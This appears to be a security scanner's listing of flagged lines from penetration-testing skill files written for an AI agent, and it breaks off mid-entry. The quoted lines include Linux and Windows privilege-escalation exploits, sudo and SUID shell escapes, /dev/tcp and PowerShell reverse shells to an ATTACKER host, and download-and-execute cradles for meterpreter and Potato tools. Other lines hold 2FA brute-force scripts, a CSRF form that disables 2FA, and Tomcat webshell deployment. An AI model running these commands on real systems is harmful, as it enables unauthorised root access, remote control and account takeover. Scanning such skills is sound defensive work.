    # On target: pull from attackbox wget http://ATTACKBOX:8080/les.sh -O /tmp/les.sh
  • Network accessline 141
    wget http://ATTACKBOX:8080/les.sh -O /tmp/les.sh
  • Network accessline 157
    # On attackbox: download and review curl -sL https://raw.githubusercontent.com/jondonas/linux-exploit-suggester-2/master/linux-exploit-suggester-2.pl -o les2.pl
  • Network accessline 158
    curl -sL https://raw.githubusercontent.com/jondonas/linux-exploit-suggester-2/master/linux-exploit-suggester-2.pl -o les2.pl
  • Network accessline 162
    # On target: pull from attackbox wget http://ATTACKBOX:8080/les2.pl -O /tmp/les2.pl
  • Network accessline 163
    wget http://ATTACKBOX:8080/les2.pl -O /tmp/les2.pl
  • Network accessline 221
    # Option 1: Overwrite /etc/passwd (most reliable) # Reference: https://github.com/AlexisAhmed/CVE-2022-0847-DirtyPipe-Exploits
  • Network accessline 222
    # Reference: https://github.com/AlexisAhmed/CVE-2022-0847-DirtyPipe-Exploits
  • Network accessline 328
    # Some PoCs overwrite a SUID binary temporarily to get a shell # Less reliable but doesn't modify /etc/passwd # On attackbox: git clone https://github.com/AlexisAhmed/CVE-2022-0847-DirtyPipe-Exploits
  • Network accessline 329
    # Less reliable but doesn't modify /etc/passwd # On attackbox: git clone https://github.com/AlexisAhmed/CVE-2022-0847-DirtyPipe-Exploits # Review exploit-2.c, compile, then transfer binary to target
  • Network accessline 330
    # On attackbox: git clone https://github.com/AlexisAhmed/CVE-2022-0847-DirtyPipe-Exploits
  • Network accessline 462
    # On attackbox: clone and compile git clone https://github.com/xkaneiki/CVE-2023-0386
  • Network accessline 463
    git clone https://github.com/xkaneiki/CVE-2023-0386
  • Network accessline 471
    # On target: pull from attackbox and extract wget http://ATTACKBOX:8080/cve-2023-0386.tar.gz -O /tmp/cve-2023-0386.tar.gz
  • Network accessline 472
    wget http://ATTACKBOX:8080/cve-2023-0386.tar.gz -O /tmp/cve-2023-0386.tar.gz
  • Network accessline 485
    **Alternative PoC repos** (clone on attackbox, review, then transfer): - `https://github.com/sxlmnwb/CVE-2023-0386`
  • Network accessline 486
    - `https://github.com/sxlmnwb/CVE-2023-0386`
  • Network accessline 487
    - `https://github.com/briskets/CVE-2023-0386`
  • Network accessline 503
    # On attackbox: git clone https://github.com/Liuk3r/CVE-2023-32233
  • Network accessline 506
    # On target: pull from attackbox wget http://ATTACKBOX:8080/exploit -O /tmp/exploit
  • Network accessline 507
    wget http://ATTACKBOX:8080/exploit -O /tmp/exploit
  • Network accessline 541
    # On attackbox: clone and compile git clone https://github.com/Notselwyn/CVE-2024-1086
  • Network accessline 542
    git clone https://github.com/Notselwyn/CVE-2024-1086
  • Network accessline 547
    # Transfer to target # python3 -m http.server 8080 # On target: wget http://ATTACKBOX:8080/exploit -O /tmp/exploit_1086
  • Network accessline 548
    # python3 -m http.server 8080 # On target: wget http://ATTACKBOX:8080/exploit -O /tmp/exploit_1086 chmod +x /tmp/exploit_1086
  • Network accessline 549
    # On target: wget http://ATTACKBOX:8080/exploit -O /tmp/exploit_1086
  • Network accessline 554
    **Alternative PoC repositories** (if the primary fails): - `https://github.com/Notselwyn/CVE-2024-1086` — original researcher's PoC
  • Network accessline 555
    - `https://github.com/Notselwyn/CVE-2024-1086` — original researcher's PoC
  • Network accessline 556
    - `https://github.com/CCob/CVE-2024-1086` — alternative implementation
  • Network accessline 579
    uname -r # On attackbox: git clone https://github.com/Markakd/CVE-2022-2588
  • Network accessline 580
    # On attackbox: git clone https://github.com/Markakd/CVE-2022-2588
  • Network accessline 584
    # On target: pull from attackbox wget http://ATTACKBOX:8080/exp -O /tmp/exp
  • Network accessline 585
    wget http://ATTACKBOX:8080/exp -O /tmp/exp
  • Network accessline 611
    # On target: pull compiled binary from attackbox wget http://ATTACKBOX:8080/exploit -O /tmp/exploit
  • Network accessline 612
    wget http://ATTACKBOX:8080/exploit -O /tmp/exploit
  • Network accessline 622
    - `https://github.com/lucyoa/kernel-exploits` — organized by CVE with README
  • Network accessline 623
    - `https://github.com/bwbwbwbw/linux-exploit-binaries` — pre-compiled for multiple archs
  • Network accessline 624
    - `https://github.com/Kabot/Unix-Privilege-Escalation-Exploits-Pack` — broader collection
  • Network accessline 631
    # On attackbox: clone matching repo, select binary for target arch # git clone https://github.com/lucyoa/kernel-exploits
  • Network accessline 632
    # git clone https://github.com/lucyoa/kernel-exploits
  • Network accessline 636
    # On target: pull from attackbox wget http://ATTACKBOX:8080/exploit -O /tmp/exploit
  • Network accessline 637
    wget http://ATTACKBOX:8080/exploit -O /tmp/exploit
  • Network accessline 953
    # https://github.com/earthquake/chw00t
  • Dangerous shell operationline 987
    rm -f /tmp/dirtypipe /tmp/dirtypipe.c /tmp/dirtycow /tmp/dirtycow.c
  • Dangerous shell operationline 988
    rm -f /tmp/les.sh /tmp/les2.pl /tmp/chroot_escape
  • Dangerous shell operationline 999
    rm -f /tmp/rootbash
  • Dangerous shell operationline 1004
    rm -f /cmd /output /shadow_dump

skills/privesc/linux-sudo-suid-capabilities/SKILL.md

  • Dangerous shell operationline 4
    Exploit sudo misconfigurations, SUID/SGID binaries, and Linux capabilities
  • Dangerous shell operationline 13
    - sudo exploit
  • Dangerous shell operationline 14
    - sudo -l shows NOPASSWD
  • Dangerous shell operationline 43
    You are helping a penetration tester exploit sudo misconfigurations, SUID/SGID binaries,
  • Dangerous shell operationline 75
    - At least one of: sudo permissions, SUID binary, binary with capabilities
  • Dangerous shell operationline 78
    ## Step 1: Assess Sudo Configuration
  • Dangerous shell operationline 83
    sudo -l 2>/dev/null
  • Dangerous shell operationline 84
    sudo -V 2>/dev/null | head -1
  • Dangerous shell operationline 90
    ## Step 2: Sudo NOPASSWD Exploitation
  • Dangerous shell operationline 94
    If `sudo -l` shows `(root) NOPASSWD: /path/to/binary`, check GTFOBins for the binary.
  • Dangerous shell operationline 96
    **Common sudo escapes (highest priority):**
  • Dangerous shell operationline 100
    sudo vim -c ':!bash'
  • Dangerous shell operationline 101
    sudo vi -c ':!bash'
  • Dangerous shell operationline 102
    sudo nano  # Ctrl+R → Ctrl+X → command
  • Dangerous shell operationline 105
    sudo less /etc/hosts    # then type: !bash
  • Dangerous shell operationline 106
    sudo more /etc/hosts    # then type: !bash
  • Dangerous shell operationline 107
    sudo man man            # then type: !bash
  • Dangerous shell operationline 110
    sudo python3 -c 'import os; os.system("/bin/bash")'
  • Dangerous shell operationline 111
    sudo perl -e 'exec "/bin/bash"'
  • Dangerous shell operationline 112
    sudo ruby -e 'exec "/bin/bash"'
  • Dangerous shell operationline 113
    sudo lua -e 'os.execute("/bin/bash")'
  • Dangerous shell operationline 114
    sudo php -r 'system("/bin/bash");'
  • Dangerous shell operationline 115
    sudo node -e 'require("child_process").spawn("/bin/bash",{stdio:[0,1,2]})'
  • Dangerous shell operationline 118
    sudo find /tmp -exec /bin/bash \;
  • Dangerous shell operationline 119
    sudo awk 'BEGIN {system("/bin/bash")}'
  • Dangerous shell operationline 120
    sudo sed -n '1e exec bash 1>&0' /etc/hosts
  • Dangerous shell operationline 121
    sudo ed  # then type: !bash
  • Dangerous shell operationline 124
    sudo tar cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec=/bin/bash
  • Dangerous shell operationline 125
    sudo zip /tmp/x.zip /tmp/x -T -TT 'bash #'
  • Dangerous shell operationline 128
    sudo ftp  # then type: !bash
  • Dangerous shell operationline 129
    sudo nmap --interactive  # (old nmap) then type: !sh
  • Dangerous shell operationline 130
    sudo mysql -e '\! bash'
  • Dangerous shell operationline 131
    sudo socat stdin exec:/bin/bash
  • Dangerous shell operationline 134
    sudo env /bin/bash
  • Dangerous shell operationline 135
    sudo strace -o /dev/null /bin/bash
  • Dangerous shell operationline 136
    sudo ltrace -o /dev/null /bin/bash
  • Dangerous shell operationline 137
    sudo gdb -nx -ex '!bash' -ex quit
  • Dangerous shell operationline 138
    sudo taskset 1 /bin/bash
  • Dangerous shell operationline 141
    sudo cat /etc/shadow
  • Dangerous shell operationline 142
    sudo tee /etc/passwd <<< 'root2:$1$salt$hash:0:0::/root:/bin/bash'
  • Dangerous shell operationline 143
    sudo cp /etc/shadow /tmp/shadow_copy
  • Dangerous shell operationline 144
    sudo dd if=/etc/shadow of=/tmp/shadow_copy
  • Dangerous shell operationline 147
    ### Sudo with Password (NOPASSWD not set)
  • Dangerous shell operationline 149
    If user has sudo access but needs a password, check for:
  • Dangerous shell operationline 152
    - Sudo token reuse (see sudo_inject below)
  • Dangerous shell operationline 154
    ### Sudo with Specific Arguments
  • Dangerous shell operationline 156
    If sudo allows specific arguments (e.g., `sudo /usr/bin/vim /etc/config`):
  • Dangerous shell operationline 157
    - Editor escape still works: `sudo vim /etc/config` → `:!bash`
  • Dangerous shell operationline 160
    ## Step 3: Sudo Environment Variable Abuse
  • Dangerous shell operationline 164
    **Prerequisite:** `sudo -l` shows `env_keep += LD_PRELOAD` or `SETENV:` tag.
  • Dangerous shell operationline 184
    sudo LD_PRELOAD=/tmp/preload.so <any_allowed_binary>
  • Dangerous shell operationline 189
    **Prerequisite:** `sudo -l` shows `env_keep += LD_LIBRARY_PATH`.
  • Dangerous shell operationline 199
    sudo LD_LIBRARY_PATH=/tmp /path/to/allowed_binary
  • Dangerous shell operationline 204
    **Prerequisite:** `sudo -l` shows `SETENV:` and binary calls Python/Perl.
  • Dangerous shell operationline 213
    sudo PYTHONPATH=/tmp/pylib /usr/bin/python_script.py
  • Dangerous shell operationline 222
    sudo BASH_ENV=/tmp/evil.sh /path/to/allowed_command
  • Dangerous shell operationline 226
    ## Step 4: Sudo CVE Exploitation
  • Dangerous shell operationline 230
    **Affected:** sudo 1.8.2 through 1.9.5p1 (patched in 1.9.5p2).
  • Dangerous shell operationline 233
    sudo without changing the version string. Do NOT skip this step even if the
  • Dangerous shell operationline 238
    sudo -V | grep "Sudo version"
  • Network accessline 261
    # Exploits (multiple variants by OS — download on ATTACKBOX first): # https://github.com/blasty/CVE-2021-3156
  • Network accessline 262
    # https://github.com/blasty/CVE-2021-3156
  • Network accessline 263
    # https://github.com/worawit/CVE-2021-3156
  • Dangerous shell operationline 268
    **Prerequisite:** `sudo -l` shows `(ALL, !root) /bin/bash` or similar restriction
  • Dangerous shell operationline 273
    sudo -u#-1 /bin/bash
  • Dangerous shell operationline 274
    sudo -u#4294967295 /bin/bash
  • Dangerous shell operationline 278
    ### Sudo Token Reuse (sudo_inject)
  • Dangerous shell operationline 280
    **Prerequisite:** ptrace_scope = 0, user has valid sudo session token.
  • Dangerous shell operationline 286
    # Check for sudo token files
  • Dangerous shell operationline 289
    # If sudo token exists and ptrace allows:
  • Network accessline 289
    # If sudo token exists and ptrace allows: # https://github.com/nongiach/sudo_inject
  • Network accessline 290
    # https://github.com/nongiach/sudo_inject
  • Dangerous shell operationline 291
    # Creates invalid token → next sudo -i requires no password
  • Dangerous shell operationline 324
    # int32:1 = administrator (wheel/sudo group)
  • Dangerous shell operationline 375
    su - "$NEW_USER" -c "echo '$NEW_PASS' | sudo -S id"
  • Dangerous shell operationline 380
    # Then: sudo -i (or echo password | sudo -S bash)
  • Dangerous shell operationline 402
    - User created but not in wheel/sudo group → the `int32:1` flag sets
  • Network accessline 451
    Public PwnKit exploits: - https://github.com/ly4k/PwnKit (self-contained C, static compilation)
  • Network accessline 452
    - https://github.com/ly4k/PwnKit (self-contained C, static compilation)
  • Network accessline 453
    - https://github.com/berdav/CVE-2021-4034 (Makefile-based)
  • Network accessline 456
    # On ATTACKBOX: download and compile static binary git clone https://github.com/ly4k/PwnKit /tmp/pwnkit
  • Network accessline 457
    git clone https://github.com/ly4k/PwnKit /tmp/pwnkit
  • Network accessline 462
    python3 -m http.server 8080 & # On TARGET: wget http://ATTACKBOX:8080/pwnkit -O /dev/shm/pwnkit_work/pwnkit
  • Network accessline 463
    # On TARGET: wget http://ATTACKBOX:8080/pwnkit -O /dev/shm/pwnkit_work/pwnkit chmod +x /dev/shm/pwnkit_work/pwnkit
  • Network accessline 464
    wget http://ATTACKBOX:8080/pwnkit -O /dev/shm/pwnkit_work/pwnkit
  • Dangerous shell operationline 631
    rm ~/.pam_environment
  • Dangerous shell operationline 634
    rm ~/suid.image
  • Dangerous shell operationline 648
    Same escapes as sudo but binary runs as owner (usually root). Key difference:
  • Network accessline 830
    # GDB injection into root process gdb -p <root_pid> (gdb) call (void)system("bash -c 'bash -i >& /dev/tcp/ATTACKER/PORT 0>&1'")
  • Network accessline 831
    gdb -p <root_pid> (gdb) call (void)system("bash -c 'bash -i >& /dev/tcp/ATTACKER/PORT 0>&1'") (gdb) detach
  • Dangerous shell operationline 832
    (gdb) call (void)system("bash -c 'bash -i >& /dev/tcp/ATTACKER/PORT 0>&1'")
  • Network accessline 832
    (gdb) call (void)system("bash -c 'bash -i >& /dev/tcp/ATTACKER/PORT 0>&1'")
  • Network accessline 868
    char *argv[] = {"/bin/bash", "-c",     "bash -i >& /dev/tcp/ATTACKER/PORT 0>&1", NULL};
  • Dangerous shell operationline 869
    "bash -i >& /dev/tcp/ATTACKER/PORT 0>&1", NULL};
  • Network accessline 869
    "bash -i >& /dev/tcp/ATTACKER/PORT 0>&1", NULL};
  • Dangerous shell operationline 943
    Check: (1) `env_keep` includes `LD_PRELOAD` in sudo config, (2) binary is not

skills/privesc/windows-credential-harvesting/SKILL.md

  • Possible obfuscationline 131
    [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String("U2VjcmV0UGFzc3dvcmQxMjM="))
  • Access to secretsline 376
    [Credential-related source omitted]
  • Access to secretsline 385
    [Credential-related source omitted]
  • Access to secretsline 394
    [Credential-related source omitted]
  • Access to secretsline 396
    [Credential-related source omitted]
  • Access to secretsline 411
    [Credential-related source omitted]
  • Access to secretsline 505
    [Credential-related source omitted]
  • Access to secretsline 508
    [Credential-related source omitted]

skills/privesc/windows-discovery/SKILL.md

  • Network accessline 528
    ### PowerShell execution restricted Use `powershell -ep bypass -File script.ps1` or load via download cradle: `IEX(New-Object Net.WebClient).DownloadString('http://ATTACKER/PowerUp.ps1')`
  • Network accessline 530
    `IEX(New-Object Net.WebClient).DownloadString('http://ATTACKER/PowerUp.ps1')`

skills/privesc/windows-kernel-exploits/SKILL.md

  • Network accessline 223
    # Standalone (Python2) git clone https://github.com/helviojunior/MS17-010
  • Network accessline 224
    git clone https://github.com/helviojunior/MS17-010
  • Network accessline 240
    # PowerShell exploit IEX(New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/EmpireProject/Empire/master/data/module_source/privesc/Invoke-MS16032.ps1')
  • Network accessline 241
    IEX(New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/EmpireProject/Empire/master/data/module_source/privesc/Invoke-MS16032.ps1')
  • Network accessline 317
    **Reference:** https://www.loldrivers.io/ — curated database of vulnerable drivers
  • Network accessline 397
    Tool: https://github.com/xct/diaghub
  • Network accessline 414
    Result: Bind shell on port 1337 (default payload). Tool: https://github.com/itm4n/UsoDllLoader
  • Network accessline 415
    Tool: https://github.com/itm4n/UsoDllLoader
  • Network accessline 429
    Result: SYSTEM shell. Tool: https://github.com/sailay1996/WerTrigger
  • Network accessline 430
    Tool: https://github.com/sailay1996/WerTrigger
  • Network accessline 439
    Creates `wermgr.exe.local` directory with weak permissions, loads DLL via DotLocal redirection. Tool: https://github.com/binderlabs/DirCreate2System
  • Network accessline 441
    Tool: https://github.com/binderlabs/DirCreate2System
  • Network accessline 453
    Tool: https://github.com/thezdi/PoC/tree/master/FilesystemEoPs/FolderOrFileDeleteToSystem
  • Network accessline 540
    Tools: [LeakedHandlesFinder](https://github.com/lab52io/LeakedHandlesFinder)
  • Network accessline 589
    WES-NG lists all missing patches, not just exploitable ones. Filter with `--exploits-only` to show only CVEs with known public exploits. Cross-reference with https://github.com/SecWiki/windows-kernel-exploits for compiled binaries.
  • Network accessline 591
    with https://github.com/SecWiki/windows-kernel-exploits for compiled binaries.

skills/privesc/windows-token-impersonation/SKILL.md

  • Network accessline 160
    # Trigger reverse shell via the webshell curl -s "http://TARGET/shell.aspx?c=powershell+-nop+-c+\"$client=New-Object+System.Net.Sockets.TCPClient('ATTACKER',4444);$stream=$client.GetStream();[byte[]]$bytes=0..65535|%{0};while(($i=$stream.Re
  • Network accessline 161
    curl -s "http://TARGET/shell.aspx?c=powershell+-nop+-c+\"$client=New-Object+System.Net.Sockets.TCPClient('ATTACKER',4444);$stream=$client.GetStream();[byte[]]$bytes=0..65535|%{0};while(($i=$stream.Read($bytes,0,$bytes.Length))-ne+0){$data=(
  • Network accessline 307
    CLSID lists per OS: https://ohpe.it/juicy-potato/CLSID/
  • Network accessline 354
    iwr http://ATTACKER_IP/GodPotato-NET4.exe -OutFile C:\temp\gp.exe
  • Network accessline 355
    iwr http://ATTACKER_IP/shell.ps1 -OutFile C:\temp\shell.ps1
  • Network accessline 395
    # In-memory execution (no disk touch) [System.Reflection.Assembly]::Load((New-Object System.Net.WebClient).DownloadData("http://ATTACKER_IP/SigmaPotato.exe"))
  • Network accessline 396
    [System.Reflection.Assembly]::Load((New-Object System.Net.WebClient).DownloadData("http://ATTACKER_IP/SigmaPotato.exe"))
  • Network accessline 472
    # 3. Transfer and execute payload on target (via existing shell) # Serve: python3 -m http.server 8888 --directory /tmp/claude-1000 # Download on target: certutil -urlcache -f http://ATTACKER:8888/meterpreter.exe C:\Windows\Temp\svc.exe
  • Network accessline 473
    # Serve: python3 -m http.server 8888 --directory /tmp/claude-1000 # Download on target: certutil -urlcache -f http://ATTACKER:8888/meterpreter.exe C:\Windows\Temp\svc.exe # Execute: C:\Windows\Temp\svc.exe
  • Network accessline 474
    # Download on target: certutil -urlcache -f http://ATTACKER:8888/meterpreter.exe C:\Windows\Temp\svc.exe
  • Network accessline 580
    Cross-reference loaded drivers against https://loldrivers.io for known-vulnerable

skills/privesc/windows-uac-bypass/SKILL.md

  • Network accessline 387
    <?xml version="1.0"?> <Wix xmlns="http://schemas.microsoft.com/wix/2006/wi">
  • Network accessline 388
    <Wix xmlns="http://schemas.microsoft.com/wix/2006/wi">

skills/research/unknown-vector-analysis/SKILL.md

  • Dangerous shell operationline 109
    `"libarchive 3.6.2 vulnerability"`, `"sudo 1.9.5 exploit"`
  • Access to secretsline 178
    [Credential-related source omitted]
  • Dangerous shell operationline 188
    - **Privilege transitions**: setuid, setgid, capabilities, sudo context

skills/web/2fa-bypass/SKILL.md

  • Network accessline 23
    - burpsuite (Turbo Intruder)   - curl   - python scripts
  • Network accessline 24
    - curl   - python scripts opsec: medium
  • Access to secretsline 69
    [Credential-related source omitted]
  • Network accessline 153
    # Check response for OTP hints curl -s -X POST "https://TARGET/send-otp" \
  • Network accessline 154
    curl -s -X POST "https://TARGET/send-otp" \
  • Network accessline 158
    # Check JavaScript files for hardcoded codes curl -s "https://TARGET/static/app.js" | grep -iE "otp|code.*=.*[0-9]"
  • Network accessline 159
    curl -s "https://TARGET/static/app.js" | grep -iE "otp|code.*=.*[0-9]"
  • Network accessline 171
    # Try accessing authenticated endpoints directly curl -s -H "Cookie: session=POST_LOGIN_SESSION" \
  • Network accessline 172
    curl -s -H "Cookie: session=POST_LOGIN_SESSION" \
  • Network accessline 173
    "https://TARGET/dashboard" curl -s -H "Cookie: session=POST_LOGIN_SESSION" \   "https://TARGET/api/user/profile"
  • Network accessline 174
    curl -s -H "Cookie: session=POST_LOGIN_SESSION" \
  • Network accessline 175
    "https://TARGET/api/user/profile" curl -s -H "Cookie: session=POST_LOGIN_SESSION" \   "https://TARGET/account/settings"
  • Network accessline 176
    curl -s -H "Cookie: session=POST_LOGIN_SESSION" \
  • Network accessline 177
    "https://TARGET/account/settings"
  • Network accessline 185
    # Web enforces 2FA, but older API versions might not curl -s -H "Cookie: session=POST_LOGIN_SESSION" \
  • Network accessline 186
    curl -s -H "Cookie: session=POST_LOGIN_SESSION" \
  • Network accessline 187
    "https://TARGET/api/v1/user/profile" curl -s -H "Cookie: session=POST_LOGIN_SESSION" \   "https://TARGET/api/v2/user/profile"
  • Network accessline 188
    curl -s -H "Cookie: session=POST_LOGIN_SESSION" \
  • Network accessline 189
    "https://TARGET/api/v2/user/profile"
  • Network accessline 191
    # Mobile API endpoints curl -s -H "Cookie: session=POST_LOGIN_SESSION" \
  • Network accessline 192
    curl -s -H "Cookie: session=POST_LOGIN_SESSION" \
  • Network accessline 193
    "https://TARGET/mobile/api/user/profile"
  • Network accessline 199
    # Different subdomains may not enforce 2FA curl -s -H "Cookie: session=POST_LOGIN_SESSION" \
  • Network accessline 200
    curl -s -H "Cookie: session=POST_LOGIN_SESSION" \
  • Network accessline 201
    "https://api.TARGET/user/profile" curl -s -H "Cookie: session=POST_LOGIN_SESSION" \   "https://old.TARGET/dashboard"
  • Network accessline 202
    curl -s -H "Cookie: session=POST_LOGIN_SESSION" \
  • Network accessline 203
    "https://old.TARGET/dashboard"
  • Network accessline 213
    # Empty code curl -s -X POST -H "Cookie: session=SESSION" \
  • Network accessline 214
    curl -s -X POST -H "Cookie: session=SESSION" \
  • Network accessline 215
    -d "code=" "https://TARGET/verify-2fa"
  • Network accessline 217
    # Null in JSON curl -s -X POST -H "Cookie: session=SESSION" \
  • Network accessline 218
    curl -s -X POST -H "Cookie: session=SESSION" \
  • Network accessline 220
    -d '{"code": null}' "https://TARGET/verify-2fa"
  • Network accessline 222
    # Zero curl -s -X POST -H "Cookie: session=SESSION" \
  • Network accessline 223
    curl -s -X POST -H "Cookie: session=SESSION" \
  • Network accessline 224
    -d "code=000000" "https://TARGET/verify-2fa"
  • Network accessline 226
    # Boolean true curl -s -X POST -H "Cookie: session=SESSION" \
  • Network accessline 227
    curl -s -X POST -H "Cookie: session=SESSION" \
  • Network accessline 229
    -d '{"code": true}' "https://TARGET/verify-2fa"
  • Network accessline 260
    url = "https://TARGET/verify-2fa"
  • Network accessline 263
    for code in range(1000000):     r = requests.post(url, cookies=cookies,
  • Network accessline 264
    r = requests.post(url, cookies=cookies,
  • Network accessline 276
    ffuf -u "https://TARGET/verify-2fa" \
  • Network accessline 302
    if attempt % 20 == 0:     # Logout     requests.get(f"{base}/logout", cookies=cookies)
  • Network accessline 303
    # Logout     requests.get(f"{base}/logout", cookies=cookies)     # Re-login
  • Network accessline 304
    requests.get(f"{base}/logout", cookies=cookies)
  • Network accessline 305
    # Re-login     r = requests.post(f"{base}/login",                       data={"user": username, "pass": password})
  • Network accessline 306
    r = requests.post(f"{base}/login",
  • Network accessline 308
    cookies = r.cookies     # Request new OTP     requests.post(f"{base}/send-otp", cookies=cookies)
  • Network accessline 310
    requests.post(f"{base}/send-otp", cookies=cookies)
  • Network accessline 315
    # Some apps reset the attempt counter when you request a new code if attempt % 10 == 0:     requests.post(f"{base}/resend-otp", cookies=cookies)
  • Network accessline 316
    if attempt % 10 == 0:     requests.post(f"{base}/resend-otp", cookies=cookies)     # Counter reset — continue brute-force
  • Network accessline 317
    requests.post(f"{base}/resend-otp", cookies=cookies)
  • Network accessline 343
    # 8-digit numeric backup codes ffuf -u "https://TARGET/verify-backup" \
  • Network accessline 344
    ffuf -u "https://TARGET/verify-backup" \
  • Network accessline 356
    # Use a valid backup code curl -s -X POST -H "Cookie: session=SESSION" \
  • Network accessline 357
    curl -s -X POST -H "Cookie: session=SESSION" \
  • Network accessline 358
    -d "backup_code=12345678" "https://TARGET/verify-backup"
  • Network accessline 361
    # Try the same code again — should be invalidated curl -s -X POST -H "Cookie: session=SESSION" \
  • Network accessline 362
    curl -s -X POST -H "Cookie: session=SESSION" \
  • Network accessline 363
    -d "backup_code=12345678" "https://TARGET/verify-backup"
  • Network accessline 395
    # Check cookie attributes curl -sI "https://TARGET/verify-2fa" \
  • Network accessline 396
    curl -sI "https://TARGET/verify-2fa" \
  • Network accessline 400
    [Credential-related source omitted]
  • Network accessline 401
    [Credential-related source omitted]
  • Network accessline 402
    "https://TARGET/dashboard"
  • Network accessline 412
    curl -s -H "Cookie: session=OLD_STOLEN_SESSION" \
  • Network accessline 413
    "https://TARGET/dashboard"
  • Network accessline 435
    # ROPC grant (Resource Owner Password Credentials) bypasses 2FA entirely curl -s -X POST "https://IDP/token" \
  • Network accessline 436
    curl -s -X POST "https://IDP/token" \
  • Network accessline 446
    # Check if the disable endpoint has CSRF protection curl -s -X POST -H "Cookie: session=VICTIM_SESSION" \
  • Network accessline 447
    curl -s -X POST -H "Cookie: session=VICTIM_SESSION" \
  • Network accessline 448
    "https://TARGET/account/2fa/disable"
  • Network accessline 455
    <form method="POST" action="https://TARGET/account/2fa/disable">
  • Network accessline 474
    url = "https://TARGET/verify-2fa"
  • Network accessline 478
    def try_code(code):     r = requests.post(url, cookies=cookies, data={"code": f"{code:06d}"})
  • Network accessline 479
    r = requests.post(url, cookies=cookies, data={"code": f"{code:06d}"})

skills/web/ajp-ghostcat/SKILL.md

  • Network accessline 28
    - nginx   - curl opsec: medium
  • Network accessline 29
    - curl opsec: medium ---
  • Network accessline 89
    Never download exploits, scripts, or tools directly to the target from the internet (`curl https://github.com/...`, `git clone` on target). Targets may
  • Network accessline 90
    internet (`curl https://github.com/...`, `git clone` on target). Targets may
  • Network accessline 97
    2. **Review** — inspect source code or binary provenance before transferring 3. **Serve** — `python3 -m http.server 8080` from the directory containing the file 4. **Pull from target** — `wget http://ATTACKBOX:8080/file -O /tmp/file` or
  • Network accessline 98
    3. **Serve** — `python3 -m http.server 8080` from the directory containing the file 4. **Pull from target** — `wget http://ATTACKBOX:8080/file -O /tmp/file` or    `curl http://ATTACKBOX:8080/file -o /tmp/file`
  • Network accessline 99
    4. **Pull from target** — `wget http://ATTACKBOX:8080/file -O /tmp/file` or
  • Network accessline 100
    `curl http://ATTACKBOX:8080/file -o /tmp/file`
  • Network accessline 179
    # Read /WEB-INF/web.xml from ROOT context ajpShooter.py http://TARGET 8009 /WEB-INF/web.xml read
  • Network accessline 180
    ajpShooter.py http://TARGET 8009 /WEB-INF/web.xml read
  • Network accessline 182
    # Read from a specific webapp context ajpShooter.py http://TARGET 8009 /manager/WEB-INF/web.xml read
  • Network accessline 183
    ajpShooter.py http://TARGET 8009 /manager/WEB-INF/web.xml read
  • Network accessline 184
    ajpShooter.py http://TARGET 8009 /host-manager/WEB-INF/web.xml read
  • Network accessline 235
    # Send and receive     sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  • Network accessline 236
    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  • Network accessline 301
    # Read from ROOT context ajpShooter.py http://TARGET 8009 /WEB-INF/web.xml read
  • Network accessline 302
    ajpShooter.py http://TARGET 8009 /WEB-INF/web.xml read
  • Network accessline 303
    ajpShooter.py http://TARGET 8009 /WEB-INF/classes/application.properties read
  • Network accessline 304
    ajpShooter.py http://TARGET 8009 /META-INF/context.xml read
  • Network accessline 306
    # Read from manager context ajpShooter.py http://TARGET 8009 /manager/WEB-INF/web.xml read
  • Network accessline 307
    ajpShooter.py http://TARGET 8009 /manager/WEB-INF/web.xml read
  • Network accessline 309
    # Read from host-manager context ajpShooter.py http://TARGET 8009 /host-manager/WEB-INF/web.xml read
  • Network accessline 310
    ajpShooter.py http://TARGET 8009 /host-manager/WEB-INF/web.xml read
  • Network accessline 355
    # Upload the JSP payload via the file upload endpoint (adapt to the target) # Example: if upload stores to /uploads/shell.txt curl -F "file=@shell.jsp;filename=shell.txt" http://TARGET:8080/upload
  • Network accessline 357
    curl -F "file=@shell.jsp;filename=shell.txt" http://TARGET:8080/upload
  • Network accessline 359
    # Include the uploaded file as JSP via AJP attribute injection ajpShooter.py http://TARGET 8009 /uploads/shell.txt eval
  • Network accessline 360
    ajpShooter.py http://TARGET 8009 /uploads/shell.txt eval
  • Dangerous shell operationline 389
    sudo apt install apache2 libapache2-mod-proxy-html
  • Dangerous shell operationline 392
    sudo a2enmod proxy proxy_ajp
  • Dangerous shell operationline 402
    sudo cp /tmp/ajp-proxy.conf /etc/apache2/sites-available/ajp-proxy.conf
  • Dangerous shell operationline 403
    sudo a2ensite ajp-proxy
  • Dangerous shell operationline 404
    sudo apachectl restart
  • Network accessline 406
    # Access Tomcat Manager through the proxy curl http://127.0.0.1:8888/manager/html
  • Network accessline 407
    curl http://127.0.0.1:8888/manager/html
  • Network accessline 467
    # Deploy via Manager curl -u 'tomcat:s3cret' --upload-file shell.war \
  • Network accessline 468
    curl -u 'tomcat:s3cret' --upload-file shell.war \
  • Network accessline 469
    "http://127.0.0.1:8888/manager/text/deploy?path=/shell&update=true"
  • Network accessline 471
    # Trigger the shell curl http://127.0.0.1:8888/shell/
  • Network accessline 472
    curl http://127.0.0.1:8888/shell/
  • Network accessline 488
    # Deploy the WAR curl -u 'tomcat:s3cret' --upload-file /tmp/cmd.war \
  • Network accessline 489
    curl -u 'tomcat:s3cret' --upload-file /tmp/cmd.war \
  • Network accessline 490
    "http://127.0.0.1:8888/manager/text/deploy?path=/cmd&update=true"
  • Network accessline 492
    # Execute commands curl "http://127.0.0.1:8888/cmd/cmd.jsp?cmd=id"
  • Network accessline 493
    curl "http://127.0.0.1:8888/cmd/cmd.jsp?cmd=id"
  • Network accessline 541
    - Check `ProxyPass` target matches exactly: `ajp://TARGET:8009/` - Ensure the AJP connector is enabled in Tomcat's `server.xml` - Try `curl -v` to see detailed error from the proxy
  • Network accessline 543
    - Try `curl -v` to see detailed error from the proxy

skills/web/browser-exploitation/SKILL.md

  • Access to secretsline 22
    [Credential-related source omitted]
  • Network accessline 27
    tools:   - curl   - chrome
  • Network accessline 28
    - curl   - chrome   - chromium
  • Network accessline 154
    // Test HTTP egress to attacker fetch('http://ATTACKBOX:PORT/egress-http', {method: 'POST', body: 'ok'})
  • Network accessline 155
    fetch('http://ATTACKBOX:PORT/egress-http', {method: 'POST', body: 'ok'})
  • Network accessline 158
